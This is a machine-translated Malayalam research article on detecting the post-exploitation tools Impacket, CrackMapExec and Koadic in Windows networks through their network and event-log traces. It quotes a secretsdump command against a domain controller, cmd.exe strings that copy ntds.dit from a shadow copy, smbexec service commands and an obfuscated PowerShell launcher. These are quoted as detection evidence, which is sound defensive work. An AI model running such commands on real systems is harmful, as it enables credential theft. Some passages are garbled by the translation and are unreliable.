വിൻഡോസ് ഇൻഫ്രാസ്ട്രക്ചറിലെ ആക്രമണങ്ങൾ എങ്ങനെ കണ്ടെത്താം: ഹാക്കർ ടൂളുകൾ പഠിക്കുന്നു

കോർപ്പറേറ്റ് മേഖലയിലെ ആക്രമണങ്ങളുടെ എണ്ണം ഓരോ വർഷവും വർദ്ധിച്ചുകൊണ്ടിരിക്കുകയാണ്: ഉദാഹരണത്തിന് 2017-ൽ 13% കൂടുതൽ അദ്വിതീയ സംഭവങ്ങൾ രേഖപ്പെടുത്തി 2016-നേക്കാൾ, 2018 അവസാനത്തോടെ - 27% കൂടുതൽ സംഭവങ്ങൾമുൻ കാലഘട്ടത്തേക്കാൾ. പ്രധാന പ്രവർത്തന ഉപകരണം വിൻഡോസ് ഓപ്പറേറ്റിംഗ് സിസ്റ്റം ഉള്ളവ ഉൾപ്പെടെ. 2017-2018-ൽ, APT ഡ്രാഗൺഫ്ലൈ, APT28, APT MuddyWater യൂറോപ്പ്, വടക്കേ അമേരിക്ക, സൗദി അറേബ്യ എന്നിവിടങ്ങളിലെ സർക്കാർ, സൈനിക സംഘടനകൾക്ക് നേരെ ആക്രമണം നടത്തി. ഇതിനായി ഞങ്ങൾ മൂന്ന് ഉപകരണങ്ങൾ ഉപയോഗിച്ചു - ഇംപാക്കറ്റ്, CrackMapExec и കോഡിക്. അവരുടെ സോഴ്സ് കോഡ് തുറന്നതും GitHub-ൽ ലഭ്യമാണ്.

ഈ ഉപകരണങ്ങൾ പ്രാരംഭ നുഴഞ്ഞുകയറ്റത്തിന് ഉപയോഗിക്കുന്നില്ല, മറിച്ച് ഇൻഫ്രാസ്ട്രക്ചറിനുള്ളിൽ ഒരു ആക്രമണം വികസിപ്പിക്കുന്നതിനാണ് ഉപയോഗിക്കുന്നത് എന്നത് ശ്രദ്ധിക്കേണ്ടതാണ്. ചുറ്റളവിന്റെ നുഴഞ്ഞുകയറ്റത്തെ തുടർന്നുള്ള ആക്രമണത്തിന്റെ വിവിധ ഘട്ടങ്ങളിൽ ആക്രമണകാരികൾ അവ ഉപയോഗിക്കുന്നു. ഇത്, കണ്ടുപിടിക്കാൻ ബുദ്ധിമുട്ടാണ്, പലപ്പോഴും സാങ്കേതികവിദ്യയുടെ സഹായത്തോടെ മാത്രം നെറ്റ്‌വർക്ക് ട്രാഫിക്കിലെ വിട്ടുവീഴ്ചയുടെ അടയാളങ്ങൾ തിരിച്ചറിയുന്നു അല്ലെങ്കിൽ അനുവദിക്കുന്ന ഉപകരണങ്ങൾ ഇൻഫ്രാസ്ട്രക്ചറിൽ നുഴഞ്ഞുകയറിയ ശേഷം ആക്രമണകാരിയുടെ സജീവ പ്രവർത്തനങ്ങൾ കണ്ടെത്തുക. ഫയലുകൾ കൈമാറുന്നത് മുതൽ രജിസ്ട്രിയുമായി ഇടപഴകുന്നതും റിമോട്ട് മെഷീനിൽ കമാൻഡുകൾ നടപ്പിലാക്കുന്നതും വരെയുള്ള വിവിധ പ്രവർത്തനങ്ങൾ ടൂളുകൾ നൽകുന്നു. ഈ ടൂളുകളുടെ നെറ്റ്‌വർക്ക് പ്രവർത്തനം നിർണ്ണയിക്കാൻ ഞങ്ങൾ ഒരു പഠനം നടത്തി.

ഞങ്ങൾ ചെയ്യേണ്ടത്:

• ഹാക്കിംഗ് ടൂളുകൾ എങ്ങനെ പ്രവർത്തിക്കുന്നുവെന്ന് മനസിലാക്കുക. ആക്രമണകാരികൾ എന്തൊക്കെയാണ് ചൂഷണം ചെയ്യേണ്ടതെന്നും അവർക്ക് എന്ത് സാങ്കേതികവിദ്യകൾ ഉപയോഗിക്കാമെന്നും കണ്ടെത്തുക.
• ആക്രമണത്തിന്റെ ആദ്യ ഘട്ടങ്ങളിൽ വിവര സുരക്ഷാ ഉപകരണങ്ങൾ കണ്ടെത്താത്തത് കണ്ടെത്തുക. ഒന്നുകിൽ ആക്രമണകാരി ഒരു ആന്തരിക ആക്രമണകാരിയായതിനാലോ അല്ലെങ്കിൽ ആക്രമണകാരി ഇൻഫ്രാസ്ട്രക്ചറിലെ മുമ്പ് അറിയപ്പെടാത്ത ഒരു ദ്വാരം ചൂഷണം ചെയ്യുന്നതിനാലോ രഹസ്യാന്വേഷണ ഘട്ടം ഒഴിവാക്കിയേക്കാം. അവന്റെ പ്രവർത്തനങ്ങളുടെ മുഴുവൻ ശൃംഖലയും പുനഃസ്ഥാപിക്കുന്നത് സാധ്യമാകുന്നു, അതിനാൽ കൂടുതൽ ചലനം കണ്ടെത്താനുള്ള ആഗ്രഹം.
• നുഴഞ്ഞുകയറ്റം കണ്ടെത്തൽ ഉപകരണങ്ങളിൽ നിന്ന് തെറ്റായ പോസിറ്റീവുകൾ ഇല്ലാതാക്കുക. നിരീക്ഷണത്തിന്റെ അടിസ്ഥാനത്തിൽ മാത്രം ചില പ്രവർത്തനങ്ങൾ കണ്ടെത്തുമ്പോൾ, പതിവ് പിശകുകൾ സാധ്യമാണെന്ന് നാം മറക്കരുത്. സാധാരണയായി ഇൻഫ്രാസ്ട്രക്ചറിൽ ഏതെങ്കിലും വിവരങ്ങൾ ലഭിക്കുന്നതിന്, ഒറ്റനോട്ടത്തിൽ നിയമാനുസൃതമായവയിൽ നിന്ന് വേർതിരിച്ചറിയാൻ കഴിയാത്ത നിരവധി മാർഗങ്ങളുണ്ട്.

ഈ ഉപകരണങ്ങൾ ആക്രമണകാരികൾക്ക് എന്താണ് നൽകുന്നത്? ഇത് ഇംപാക്കറ്റ് ആണെങ്കിൽ, ആക്രമണകാരികൾക്ക് മൊഡ്യൂളുകളുടെ ഒരു വലിയ ലൈബ്രറി ലഭിക്കും, അത് ചുറ്റളവ് തകർത്തതിന് ശേഷം ആക്രമണത്തിന്റെ വിവിധ ഘട്ടങ്ങളിൽ ഉപയോഗിക്കാനാകും. പല ഉപകരണങ്ങളും ആന്തരികമായി ഇംപാക്കറ്റ് മൊഡ്യൂളുകൾ ഉപയോഗിക്കുന്നു - ഉദാഹരണത്തിന്, Metasploit. റിമോട്ട് കമാൻഡ് എക്‌സിക്യൂഷനുള്ള dcomexec, wmiexec എന്നിവയും ഇംപാക്കറ്റിൽ നിന്ന് ചേർത്ത മെമ്മറിയിൽ നിന്ന് അക്കൗണ്ടുകൾ നേടുന്നതിനുള്ള രഹസ്യ ഡംപും ഇതിലുണ്ട്. തൽഫലമായി, അത്തരം ഒരു ലൈബ്രറിയുടെ പ്രവർത്തനത്തിന്റെ ശരിയായ കണ്ടെത്തൽ ഡെറിവേറ്റീവുകളുടെ കണ്ടെത്തൽ ഉറപ്പാക്കും.

സ്രഷ്‌ടാക്കൾ CrackMapExec (അല്ലെങ്കിൽ ലളിതമായി CME) നെക്കുറിച്ച് "പവർ ബൈ ഇംപാക്കറ്റ്" എഴുതിയത് യാദൃശ്ചികമല്ല. കൂടാതെ, ജനപ്രിയ സാഹചര്യങ്ങൾക്കായി CME റെഡിമെയ്ഡ് പ്രവർത്തനക്ഷമതയുണ്ട്: പാസ്‌വേഡുകളോ അവയുടെ ഹാഷുകളോ നേടുന്നതിനുള്ള മിമികാറ്റ്‌സ്, റിമോട്ട് എക്‌സിക്യൂഷനുള്ള മീറ്റർപ്രെറ്റർ അല്ലെങ്കിൽ എംപയർ ഏജന്റ് നടപ്പിലാക്കൽ, ബോർഡിൽ ബ്ലഡ്‌ഹൗണ്ട്.

ഞങ്ങൾ തിരഞ്ഞെടുത്ത മൂന്നാമത്തെ ഉപകരണം കോഡിക് ആയിരുന്നു. ഇത് വളരെ സമീപകാലമാണ്, ഇത് 25 ലെ അന്താരാഷ്ട്ര ഹാക്കർ കോൺഫറൻസ് DEFCON 2017 ൽ അവതരിപ്പിച്ചു, ഇത് ഒരു നിലവാരമില്ലാത്ത സമീപനത്താൽ വേർതിരിച്ചിരിക്കുന്നു: ഇത് HTTP, Java Script, Microsoft Visual Basic Script (VBS) വഴി പ്രവർത്തിക്കുന്നു. ഈ സമീപനത്തെ ലിവിംഗ് ഓഫ് ദി ലാൻഡ് എന്ന് വിളിക്കുന്നു: ഉപകരണം വിൻഡോസിൽ നിർമ്മിച്ച ഒരു കൂട്ടം ഡിപൻഡൻസികളും ലൈബ്രറികളും ഉപയോഗിക്കുന്നു. സ്രഷ്‌ടാക്കൾ ഇതിനെ COM കമാൻഡ് & കൺട്രോൾ അല്ലെങ്കിൽ C3 എന്ന് വിളിക്കുന്നു.

ഇംപാക്കറ്റ്

ഇംപാക്കറ്റിന്റെ പ്രവർത്തനക്ഷമത വളരെ വിശാലമാണ്, AD-ക്കുള്ളിലെ നിരീക്ഷണം മുതൽ ആന്തരിക MS SQL സെർവറുകളിൽ നിന്ന് ഡാറ്റ ശേഖരിക്കൽ, ക്രെഡൻഷ്യലുകൾ നേടുന്നതിനുള്ള സാങ്കേതികതകൾ വരെ: ഇതൊരു SMB റിലേ ആക്രമണമാണ്, കൂടാതെ ഒരു ഡൊമെയ്ൻ കൺട്രോളറിൽ നിന്ന് ഉപയോക്തൃ പാസ്‌വേഡുകളുടെ ഹാഷുകൾ അടങ്ങിയ ntds.dit ഫയൽ നേടുക. ഇംപാക്കറ്റ് നാല് വ്യത്യസ്ത രീതികൾ ഉപയോഗിച്ച് വിദൂരമായി കമാൻഡുകൾ എക്സിക്യൂട്ട് ചെയ്യുന്നു: WMI, Windows Scheduler Management Service, DCOM, SMB, അങ്ങനെ ചെയ്യുന്നതിന് ക്രെഡൻഷ്യലുകൾ ആവശ്യമാണ്.

സീക്രട്ട്‌ഡമ്പ്

നമുക്ക് സീക്രട്ട്‌ഡമ്പിലേക്ക് നോക്കാം. ഉപയോക്തൃ മെഷീനുകളെയും ഡൊമെയ്ൻ കൺട്രോളറുകളെയും ടാർഗെറ്റുചെയ്യാൻ കഴിയുന്ന ഒരു മൊഡ്യൂളാണിത്. മെമ്മറി ഏരിയകളായ എൽഎസ്എ, എസ്എഎം, സെക്യൂരിറ്റി, എൻടിഡിഎസ്.ഡിറ്റ് എന്നിവയുടെ പകർപ്പുകൾ ലഭിക്കാൻ ഇത് ഉപയോഗിക്കാം, അതിനാൽ ആക്രമണത്തിന്റെ വിവിധ ഘട്ടങ്ങളിൽ ഇത് കാണാൻ കഴിയും. മൊഡ്യൂളിന്റെ പ്രവർത്തനത്തിലെ ആദ്യ ഘട്ടം SMB വഴിയുള്ള പ്രാമാണീകരണമാണ്, അതിന് പാസ്‌ ദ ഹാഷ് ആക്രമണം സ്വയമേവ നടപ്പിലാക്കുന്നതിന് ഉപയോക്താവിന്റെ പാസ്‌വേഡോ അതിന്റെ ഹാഷോ ആവശ്യമാണ്. അടുത്തതായി സർവീസ് കൺട്രോൾ മാനേജറിലേക്ക് (SCM) ആക്‌സസ് തുറക്കാനും വിൻറെഗ് പ്രോട്ടോക്കോൾ വഴി രജിസ്‌ട്രിയിലേക്ക് ആക്‌സസ് നേടാനുമുള്ള അഭ്യർത്ഥന വരുന്നു, ഇത് ഉപയോഗിച്ച് ആക്രമണകാരിക്ക് താൽപ്പര്യമുള്ള ശാഖകളുടെ ഡാറ്റ കണ്ടെത്താനും SMB വഴി ഫലങ്ങൾ നേടാനും കഴിയും.

ചിത്രത്തിൽ. 1 winreg പ്രോട്ടോക്കോൾ ഉപയോഗിക്കുമ്പോൾ, LSA ഉള്ള ഒരു രജിസ്ട്രി കീ ഉപയോഗിച്ച് ആക്സസ് ലഭിക്കുന്നത് എങ്ങനെയെന്ന് ഞങ്ങൾ കാണുന്നു. ഇത് ചെയ്യുന്നതിന്, opcode 15-ഓപ്പൺകീ ഉപയോഗിച്ച് DCERPC കമാൻഡ് ഉപയോഗിക്കുക.

അരി. 1. winreg പ്രോട്ടോക്കോൾ ഉപയോഗിച്ച് ഒരു രജിസ്ട്രി കീ തുറക്കുന്നു

അടുത്തതായി, കീയിലേക്കുള്ള ആക്‌സസ് ലഭിക്കുമ്പോൾ, ഒപ്‌കോഡ് 20 ഉപയോഗിച്ച് SaveKey കമാൻഡ് ഉപയോഗിച്ച് മൂല്യങ്ങൾ സംരക്ഷിക്കപ്പെടുന്നു. ഇംപാക്കറ്റ് ഇത് വളരെ നിർദ്ദിഷ്ട രീതിയിൽ ചെയ്യുന്നു. .tmp-ൽ ചേർത്തിരിക്കുന്ന 8 ക്രമരഹിത പ്രതീകങ്ങളുടെ ഒരു സ്ട്രിംഗ് ആയ ഒരു ഫയലിലേക്ക് ഇത് മൂല്യങ്ങൾ സംരക്ഷിക്കുന്നു. കൂടാതെ, ഈ ഫയലിന്റെ കൂടുതൽ അപ്‌ലോഡ് System32 ഡയറക്ടറിയിൽ നിന്ന് SMB വഴി സംഭവിക്കുന്നു (ചിത്രം 2).

അരി. 2. റിമോട്ട് മെഷീനിൽ നിന്ന് ഒരു രജിസ്ട്രി കീ ലഭിക്കുന്നതിനുള്ള സ്കീം

വിൻ‌റെഗ് പ്രോട്ടോക്കോൾ, നിർദ്ദിഷ്ട പേരുകൾ, കമാൻഡുകൾ, അവയുടെ ക്രമം എന്നിവ ഉപയോഗിച്ച് ചില രജിസ്ട്രി ബ്രാഞ്ചുകളിലേക്കുള്ള അന്വേഷണങ്ങളിലൂടെ നെറ്റ്‌വർക്കിലെ അത്തരം പ്രവർത്തനം കണ്ടെത്താനാകും.

ഈ മൊഡ്യൂൾ വിൻഡോസ് ഇവന്റ് ലോഗിൽ അടയാളങ്ങൾ ഇടുന്നു, ഇത് കണ്ടെത്തുന്നത് എളുപ്പമാക്കുന്നു. ഉദാഹരണത്തിന്, കമാൻഡ് എക്സിക്യൂട്ട് ചെയ്യുന്നതിന്റെ ഫലമായി

secretsdump.py -debug -system SYSTEM -sam SAM -ntds NTDS -security SECURITY -bootkey BOOTKEY -outputfile 1.txt -use-vss -exec-method mmcexec -user-status -dc-ip 192.168.202.100 -target-ip 192.168.202.100 contoso/Administrator:@DC

വിൻഡോസ് സെർവർ 2016 ലോഗിൽ ഇവന്റുകളുടെ ഇനിപ്പറയുന്ന പ്രധാന ക്രമം ഞങ്ങൾ കാണും:

1. 4624 - റിമോട്ട് ലോഗൺ.
2. 5145 - winreg റിമോട്ട് സേവനത്തിലേക്കുള്ള ആക്സസ് അവകാശങ്ങൾ പരിശോധിക്കുന്നു.
3. 5145 - System32 ഡയറക്ടറിയിൽ ഫയൽ ആക്സസ് അവകാശങ്ങൾ പരിശോധിക്കുന്നു. ഫയലിന് മുകളിൽ സൂചിപ്പിച്ച ക്രമരഹിതമായ പേരുണ്ട്.
4. 4688 - vssadmin സമാരംഭിക്കുന്ന ഒരു cmd.exe പ്രക്രിയ സൃഷ്ടിക്കുന്നു:

“C:windowssystem32cmd.exe" /Q /c echo c:windowssystem32cmd.exe /C vssadmin list shadows ^> %SYSTEMROOT%Temp__output > %TEMP%execute.bat & c:windowssystem32cmd.exe /Q /c %TEMP%execute.bat & del %TEMP%execute.bat

5. 4688 - കമാൻഡ് ഉപയോഗിച്ച് ഒരു പ്രക്രിയ സൃഷ്ടിക്കുന്നു:

"C:windowssystem32cmd.exe" /Q /c echo c:windowssystem32cmd.exe /C vssadmin create shadow /For=C: ^> %SYSTEMROOT%Temp__output > %TEMP%execute.bat & c:windowssystem32cmd.exe /Q /c %TEMP%execute.bat & del %TEMP%execute.bat

6. 4688 - കമാൻഡ് ഉപയോഗിച്ച് ഒരു പ്രക്രിയ സൃഷ്ടിക്കുന്നു:

"C:windowssystem32cmd.exe" /Q /c echo c:windowssystem32cmd.exe /C copy ?GLOBALROOTDeviceHarddiskVolumeShadowCopy3WindowsNTDSntds.dit %SYSTEMROOT%TemprmumAfcn.tmp ^> %SYSTEMROOT%Temp__output > %TEMP%execute.bat & c:windowssystem32cmd.exe /Q /c %TEMP%execute.bat & del %TEMP%execute.bat

7. 4688 - കമാൻഡ് ഉപയോഗിച്ച് ഒരു പ്രക്രിയ സൃഷ്ടിക്കുന്നു:

"C:windowssystem32cmd.exe" /Q /c echo c:windowssystem32cmd.exe /C vssadmin delete shadows /For=C: /Quiet ^> %SYSTEMROOT%Temp__output > %TEMP%execute.bat & c:windowssystem32cmd.exe /Q /c %TEMP%execute.bat & del %TEMP%execute.bat

Smbexec

ചൂഷണത്തിനു ശേഷമുള്ള പല ടൂളുകളും പോലെ, കമാൻഡുകൾ വിദൂരമായി നടപ്പിലാക്കുന്നതിനുള്ള മൊഡ്യൂളുകൾ ഇംപാക്കറ്റിനുണ്ട്. റിമോട്ട് മെഷീനിൽ ഒരു ഇന്ററാക്ടീവ് കമാൻഡ് ഷെൽ നൽകുന്ന smbexec-ൽ ഞങ്ങൾ ശ്രദ്ധ കേന്ദ്രീകരിക്കും. ഈ മൊഡ്യൂളിന് ഒരു പാസ്‌വേഡ് അല്ലെങ്കിൽ പാസ്‌വേഡ് ഹാഷ് ഉപയോഗിച്ച് SMB വഴിയുള്ള പ്രാമാണീകരണം ആവശ്യമാണ്. ചിത്രത്തിൽ. അത്തരമൊരു ഉപകരണം എങ്ങനെ പ്രവർത്തിക്കുന്നു എന്നതിന്റെ ഒരു ഉദാഹരണം ചിത്രം 3-ൽ നമ്മൾ കാണുന്നു, ഈ സാഹചര്യത്തിൽ ഇത് ലോക്കൽ അഡ്മിനിസ്ട്രേറ്റർ കൺസോൾ ആണ്.

അരി. 3. ഇന്ററാക്ടീവ് smbexec കൺസോൾ

ഓതന്റിക്കേഷനു ശേഷമുള്ള smbexec-ന്റെ ആദ്യ ഘട്ടം OpenSCManagerW കമാൻഡ് (15) ഉപയോഗിച്ച് SCM തുറക്കുക എന്നതാണ്. ചോദ്യം ശ്രദ്ധേയമാണ്: MachineName ഫീൽഡ് DUMMY ആണ്.

അരി. 4. സേവന നിയന്ത്രണ മാനേജർ തുറക്കാനുള്ള അഭ്യർത്ഥന

അടുത്തതായി, CreateServiceW കമാൻഡ് (12) ഉപയോഗിച്ചാണ് സേവനം സൃഷ്ടിക്കുന്നത്. smbexec ന്റെ കാര്യത്തിൽ, ഓരോ തവണയും ഒരേ കമാൻഡ് കൺസ്ട്രക്ഷൻ ലോജിക് നമുക്ക് കാണാൻ കഴിയും. ചിത്രത്തിൽ. 5 പച്ച എന്നത് മാറ്റാനാവാത്ത കമാൻഡ് പാരാമീറ്ററുകളെ സൂചിപ്പിക്കുന്നു, മഞ്ഞ ഒരു ആക്രമണകാരിക്ക് എന്ത് മാറ്റാൻ കഴിയുമെന്ന് സൂചിപ്പിക്കുന്നു. എക്സിക്യൂട്ടബിൾ ഫയലിന്റെ പേര്, അതിന്റെ ഡയറക്‌ടറി, ഔട്ട്‌പുട്ട് ഫയൽ എന്നിവ മാറ്റാൻ കഴിയുമെന്ന് കാണാൻ എളുപ്പമാണ്, എന്നാൽ ഇംപാക്കറ്റ് മൊഡ്യൂളിന്റെ യുക്തിയെ ശല്യപ്പെടുത്താതെ ബാക്കിയുള്ളവ മാറ്റുന്നത് വളരെ ബുദ്ധിമുട്ടാണ്.

അരി. 5. സേവന നിയന്ത്രണ മാനേജർ ഉപയോഗിച്ച് ഒരു സേവനം സൃഷ്ടിക്കുന്നതിനുള്ള അഭ്യർത്ഥന

വിൻഡോസ് ഇവന്റ് ലോഗിൽ Smbexec വ്യക്തമായ അടയാളങ്ങളും ഇടുന്നു. ipconfig കമാൻഡുള്ള ഇന്ററാക്ടീവ് കമാൻഡ് ഷെല്ലിനായുള്ള Windows Server 2016 ലോഗിൽ, ഇവന്റുകളുടെ ഇനിപ്പറയുന്ന കീ സീക്വൻസ് ഞങ്ങൾ കാണും:

1. 4697 - ഇരയുടെ മെഷീനിൽ സേവനം സ്ഥാപിക്കൽ:

%COMSPEC% /Q /c echo cd ^> 127.0.0.1C$__output 2^>^&1 > %TEMP%execute.bat & %COMSPEC% /Q /c %TEMP%execute.bat & del %TEMP%execute.bat

2. 4688 - പോയിന്റ് 1-ൽ നിന്നുള്ള ആർഗ്യുമെന്റുകൾ ഉപയോഗിച്ച് cmd.exe പ്രക്രിയയുടെ സൃഷ്ടി.
3. 5145 - C$ ഡയറക്ടറിയിലെ __ഔട്ട്പുട്ട് ഫയലിലേക്കുള്ള ആക്സസ് അവകാശങ്ങൾ പരിശോധിക്കുന്നു.
4. 4697 - ഇരയുടെ മെഷീനിൽ സേവനത്തിന്റെ ഇൻസ്റ്റാളേഷൻ.

%COMSPEC% /Q /c echo ipconfig ^> 127.0.0.1C$__output 2^>^&1 > %TEMP%execute.bat & %COMSPEC% /Q /c %TEMP%execute.bat & del %TEMP%execute.bat

5. 4688 - പോയിന്റ് 4-ൽ നിന്നുള്ള ആർഗ്യുമെന്റുകൾ ഉപയോഗിച്ച് cmd.exe പ്രക്രിയയുടെ സൃഷ്ടി.
6. 5145 - C$ ഡയറക്ടറിയിലെ __ഔട്ട്പുട്ട് ഫയലിലേക്കുള്ള ആക്സസ് അവകാശങ്ങൾ പരിശോധിക്കുന്നു.

ആക്രമണ ഉപകരണങ്ങളുടെ വികസനത്തിന്റെ അടിസ്ഥാനമാണ് ഇംപാക്കറ്റ്. വിൻഡോസ് ഇൻഫ്രാസ്ട്രക്ചറിലെ മിക്കവാറും എല്ലാ പ്രോട്ടോക്കോളുകളും ഇത് പിന്തുണയ്ക്കുന്നു, അതേ സമയം അതിന്റേതായ സ്വഭാവ സവിശേഷതകളും ഉണ്ട്. ഇവിടെ നിർദ്ദിഷ്ട winreg അഭ്യർത്ഥനകൾ, കൂടാതെ SCM API യുടെ സ്വഭാവസവിശേഷതയുള്ള കമാൻഡ് രൂപീകരണവും ഫയലിന്റെ പേര് ഫോർമാറ്റും, SMB പങ്കിടൽ SYSTEM32 എന്നിവയും ഉണ്ട്.

ക്രാക്ക്മാപെക്സെക്

CME ടൂൾ പ്രധാനമായും രൂപകൽപ്പന ചെയ്തിരിക്കുന്നത് ഒരു ആക്രമണകാരി നെറ്റ്‌വർക്കിനുള്ളിൽ മുന്നേറാൻ ചെയ്യേണ്ട പതിവ് പ്രവർത്തനങ്ങൾ ഓട്ടോമേറ്റ് ചെയ്യുന്നതിനാണ്. അറിയപ്പെടുന്ന എംപയർ ഏജന്റുമായും മീറ്റർപ്രെറ്ററുമായും ചേർന്ന് പ്രവർത്തിക്കാൻ ഇത് നിങ്ങളെ അനുവദിക്കുന്നു. കമാൻഡുകൾ രഹസ്യമായി നടപ്പിലാക്കാൻ, CME-യെ അവ്യക്തമാക്കാൻ കഴിയും. Bloodhound (ഒരു പ്രത്യേക രഹസ്യാന്വേഷണ ഉപകരണം) ഉപയോഗിച്ച്, ഒരു ആക്രമണകാരിക്ക് ഒരു സജീവ ഡൊമെയ്ൻ അഡ്മിനിസ്ട്രേറ്റർ സെഷനുവേണ്ടിയുള്ള തിരയൽ ഓട്ടോമേറ്റ് ചെയ്യാൻ കഴിയും.

ബ്ലൊഒധൊഉംദ്

ബ്ലഡ്‌ഹൗണ്ട്, ഒരു ഒറ്റപ്പെട്ട ഉപകരണമെന്ന നിലയിൽ, നെറ്റ്‌വർക്കിനുള്ളിൽ വിപുലമായ നിരീക്ഷണം അനുവദിക്കുന്നു. ഇത് ഉപയോക്താക്കൾ, മെഷീനുകൾ, ഗ്രൂപ്പുകൾ, സെഷനുകൾ എന്നിവയെ കുറിച്ചുള്ള ഡാറ്റ ശേഖരിക്കുകയും പവർഷെൽ സ്ക്രിപ്റ്റ് അല്ലെങ്കിൽ ബൈനറി ഫയലായി നൽകുകയും ചെയ്യുന്നു. വിവരങ്ങൾ ശേഖരിക്കാൻ LDAP അല്ലെങ്കിൽ SMB അടിസ്ഥാനമാക്കിയുള്ള പ്രോട്ടോക്കോളുകൾ ഉപയോഗിക്കുന്നു. CME ഇന്റഗ്രേഷൻ മൊഡ്യൂൾ, ഇരയുടെ മെഷീനിലേക്ക് ബ്ലഡ്‌ഹൗണ്ടിനെ ഡൗൺലോഡ് ചെയ്യാനും, എക്‌സിക്യൂഷനുശേഷം ശേഖരിച്ച ഡാറ്റ പ്രവർത്തിപ്പിക്കാനും സ്വീകരിക്കാനും അനുവദിക്കുന്നു, അതുവഴി സിസ്റ്റത്തിലെ പ്രവർത്തനങ്ങൾ ഓട്ടോമേറ്റ് ചെയ്യുകയും അവ ശ്രദ്ധയിൽപ്പെടാത്തതാക്കുകയും ചെയ്യുന്നു. ബ്ലഡ്ഹൗണ്ട് ഗ്രാഫിക്കൽ ഷെൽ ശേഖരിച്ച ഡാറ്റ ഗ്രാഫുകളുടെ രൂപത്തിൽ അവതരിപ്പിക്കുന്നു, ഇത് ആക്രമണകാരിയുടെ മെഷീനിൽ നിന്ന് ഡൊമെയ്ൻ അഡ്മിനിസ്ട്രേറ്ററിലേക്കുള്ള ഏറ്റവും ചെറിയ പാത കണ്ടെത്താൻ നിങ്ങളെ അനുവദിക്കുന്നു.

അരി. 6. ബ്ലഡ്ഹൗണ്ട് ഇന്റർഫേസ്

ഇരയുടെ മെഷീനിൽ പ്രവർത്തിപ്പിക്കുന്നതിന്, ATSVC, SMB എന്നിവ ഉപയോഗിച്ച് മൊഡ്യൂൾ ഒരു ടാസ്‌ക് സൃഷ്‌ടിക്കുന്നു. വിൻഡോസ് ടാസ്ക് ഷെഡ്യൂളറുമായി പ്രവർത്തിക്കുന്നതിനുള്ള ഒരു ഇന്റർഫേസാണ് ATSVC. നെറ്റ്‌വർക്കിൽ ടാസ്‌ക്കുകൾ സൃഷ്‌ടിക്കാൻ CME അതിന്റെ NetrJobAdd(1) ഫംഗ്‌ഷൻ ഉപയോഗിക്കുന്നു. CME മൊഡ്യൂൾ അയയ്‌ക്കുന്നതിന്റെ ഒരു ഉദാഹരണം ചിത്രത്തിൽ കാണിച്ചിരിക്കുന്നു. 7: ഇതൊരു cmd.exe കമാൻഡ് കോളും XML ഫോർമാറ്റിലുള്ള ആർഗ്യുമെന്റുകളുടെ രൂപത്തിൽ അവ്യക്തമായ കോഡുമാണ്.

ചിത്രം.7. CME വഴി ഒരു ടാസ്‌ക് സൃഷ്‌ടിക്കുന്നു

നിർവ്വഹണത്തിനായി ചുമതല സമർപ്പിച്ച ശേഷം, ഇരയുടെ യന്ത്രം തന്നെ ബ്ലഡ്ഹൗണ്ട് ആരംഭിക്കുന്നു, ഇത് ട്രാഫിക്കിൽ കാണാൻ കഴിയും. സ്റ്റാൻഡേർഡ് ഗ്രൂപ്പുകൾ, ഡൊമെയ്‌നിലെ എല്ലാ മെഷീനുകളുടെയും ഉപയോക്താക്കളുടെയും ഒരു ലിസ്റ്റ്, SRVSVC NetSessEnum അഭ്യർത്ഥന വഴി സജീവ ഉപയോക്തൃ സെഷനുകളെ കുറിച്ചുള്ള വിവരങ്ങൾ എന്നിവ ലഭ്യമാക്കുന്നതിനുള്ള LDAP അന്വേഷണങ്ങളാണ് മൊഡ്യൂളിന്റെ സവിശേഷത.

അരി. 8. SMB വഴി സജീവ സെഷനുകളുടെ ഒരു ലിസ്റ്റ് നേടുന്നു

കൂടാതെ, ഓഡിറ്റിംഗ് പ്രവർത്തനക്ഷമമാക്കിയ ഒരു ഇരയുടെ മെഷീനിൽ ബ്ലഡ്‌ഹൗണ്ട് സമാരംഭിക്കുന്നത് ഐഡി 4688 (പ്രോസസ് ക്രിയേഷൻ) ഉള്ള ഒരു ഇവന്റിനൊപ്പം പ്രോസസ് നാമവും ഉണ്ടായിരിക്കും. «C:WindowsSystem32cmd.exe». അതിൽ ശ്രദ്ധേയമായത് കമാൻഡ് ലൈൻ ആർഗ്യുമെന്റുകളാണ്:

cmd.exe /Q /c powershell.exe -exec bypass -noni -nop -w 1 -C " & ( $eNV:cOmSPEc[4,26,25]-JOiN'')( [chAR[]](91 , 78, 101,116 , 46, 83 , 101 , … , 40,41 )-jOIN'' ) "

Enum_avproducts

പ്രവർത്തനക്ഷമതയുടെയും നടപ്പാക്കലിന്റെയും വീക്ഷണകോണിൽ നിന്ന് enum_avproducts മൊഡ്യൂൾ വളരെ രസകരമാണ്. വിവിധ വിൻഡോസ് ഒബ്‌ജക്‌റ്റുകളിൽ നിന്ന് ഡാറ്റ വീണ്ടെടുക്കുന്നതിന് WQL അന്വേഷണ ഭാഷ ഉപയോഗിക്കാൻ WMI നിങ്ങളെ അനുവദിക്കുന്നു, ഇത് പ്രധാനമായും ഈ CME മൊഡ്യൂൾ ഉപയോഗിക്കുന്നു. ഇരയുടെ മെഷീനിൽ ഇൻസ്റ്റാൾ ചെയ്തിട്ടുള്ള സംരക്ഷണ ഉപകരണങ്ങളെക്കുറിച്ചുള്ള ആന്റിസ്പൈവെയർ പ്രൊഡക്റ്റ്, ആന്റിമൈറസ് പ്രൊഡക്റ്റ് ക്ലാസുകളിലേക്ക് ഇത് ചോദ്യങ്ങൾ സൃഷ്ടിക്കുന്നു. ആവശ്യമായ ഡാറ്റ ലഭിക്കുന്നതിന്, മൊഡ്യൂൾ rootSecurityCenter2 നെയിംസ്പേസിലേക്ക് കണക്ട് ചെയ്യുന്നു, തുടർന്ന് ഒരു WQL അന്വേഷണം സൃഷ്ടിക്കുകയും ഒരു പ്രതികരണം സ്വീകരിക്കുകയും ചെയ്യുന്നു. ചിത്രത്തിൽ. അത്തരം അഭ്യർത്ഥനകളുടെയും പ്രതികരണങ്ങളുടെയും ഉള്ളടക്കം ചിത്രം 9 കാണിക്കുന്നു. ഞങ്ങളുടെ ഉദാഹരണത്തിൽ, വിൻഡോസ് ഡിഫൻഡർ കണ്ടെത്തി.

അരി. 9. enum_avproducts മൊഡ്യൂളിന്റെ നെറ്റ്‌വർക്ക് പ്രവർത്തനം

